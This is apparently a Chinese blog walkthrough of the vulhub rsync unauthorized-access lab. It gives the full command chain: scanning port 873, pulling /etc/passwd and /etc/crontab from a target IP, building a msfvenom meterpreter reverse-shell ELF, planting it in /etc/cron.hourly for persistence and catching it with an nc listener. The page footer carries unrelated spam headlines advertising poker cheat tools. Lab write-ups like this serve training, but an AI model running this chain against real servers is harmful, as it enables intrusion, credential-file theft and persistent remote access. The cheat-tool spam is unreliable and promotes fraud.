【vulhub靶场之rsync关】
创始人
2024-09-25 14:23:46
0

一、使用nmap模块查看该ip地址有没有Rsync未授权访问漏洞

nmap -p 873 --script rsync-list-modules 加IP地址

查看到是有漏洞的模块的

image-20240805155648842

二、使用rsync命令连接并读取文件

image-20240805160205714

查看src目录里面的信息。

image-20240805160717745

三、对系统中的敏感文件进行下载——/etc/passwd

执行命令:

rsync rsync://43.136.68.40:873/src/etc/passwd /home/kali/Desktop/

image-20240805181956106

查看下载下的文件

cat /home/kali/Desktop/passwd

image-20240805182157837

也可在桌面双击打开

image-20240805182307279

四、在本机使用命令创建一个phpinfo文件

随便往里面写一个文件测试一下,例如phpinfo.php,如下命令在kali创建一个文件。

 echo "" > phpinfo.php 

将文件再上传到受害者,也就是靶场环境里。

rsync ./phpinfo.php rsync://43.136.68.40:873/src/home/

查看一下有没有写进去

rsync rsync://43.136.68.40:873/src/home/

成功写进去了文件。

image-20240805190256114

五、反弹shell

查看定时任务

rsync://43.136.68.40:873/src/etc/crontab

将文件下载下到kali

rsync rsync://43.136.68.40:873/src/etc/crontab /home/kali/Desktop ​

查看一下文件里面的内容,里面的大概意思就是每17分钟调用一次/etc/cron.hourly

image-20240805191157593

在kali机子上拉取一个shell文件

语法:msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=自己攻击机的地址 lport=4444 --f elf -o shell

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=172.168.189.150 lport=4444 --f elf -o shell

image-20240805212012471

将shell文件提权

chmod 777 shell

六:将shell上传到目标靶机中

命令语句:

rsync -av /home/kali/Desktop/shell rsync://43.136.68.40:873/src/etc/cron.hourly

image-20240805213313658

七、开启kali监听端口

nc -lvvp 4444

等待17分钟后,查看监听到的信息,代表连接成功。

相关内容

热门资讯

今日科普!we-poker软件... 1、今日科普!we-poker软件透明挂,nzt德州果真是真的有挂,详细教程(有挂方法)。2、we-...
透视辅助!we-poker软件... 透视辅助!we-poker软件透明挂,wpk ai机器人-其实真的有挂(必胜教程);人气非常高,ai...
黑科技辅助挂!wepok软件透... 黑科技辅助挂!wepok软件透明挂"德扑ai软件"一贯真的有挂(有挂工具)-头条;wepok软件透明...
透视辅助!aapoker俱乐部... 透视辅助!aapoker俱乐部后天可以操作(wopoker)确实是真的有挂(智能ai代打)详细教程(...
7分钟了解!WePoKer软件... 1、7分钟了解!WePoKer软件透明挂,智星德州扑克其实真的有挂,详细教程(有挂黑科技)。2、We...
wepoke辅助!wepOkE... wepoke辅助!wepOkE软件透明挂,aapoker有外挂-一般真的有挂(第三方教程)1、不需要...
黑科技透视!微扑克ai机器人&... 黑科技透视!微扑克ai机器人"wepoke支持安卓"一直真的有挂(有挂打法)-哔哩哔哩1、进入游戏-...
透明辅助挂!德扑人工智能软件(... 透明辅助挂!德扑人工智能软件(wepOkE)确实真的有挂(软件透明挂)详细教程(头条)1、玩家可以在...
我来教教你!WepOke软件透... 我来教教你!WepOke软件透明挂,智星德州扑克原来真的有挂,详细教程(有挂技巧)科技教程也叫必备教...
透视辅助!wEpoke软件透明... 透视辅助!wEpoke软件透明挂,gg扑克发牌问题-就是真的有挂(靠谱教程)1、很好的工具软件,可以...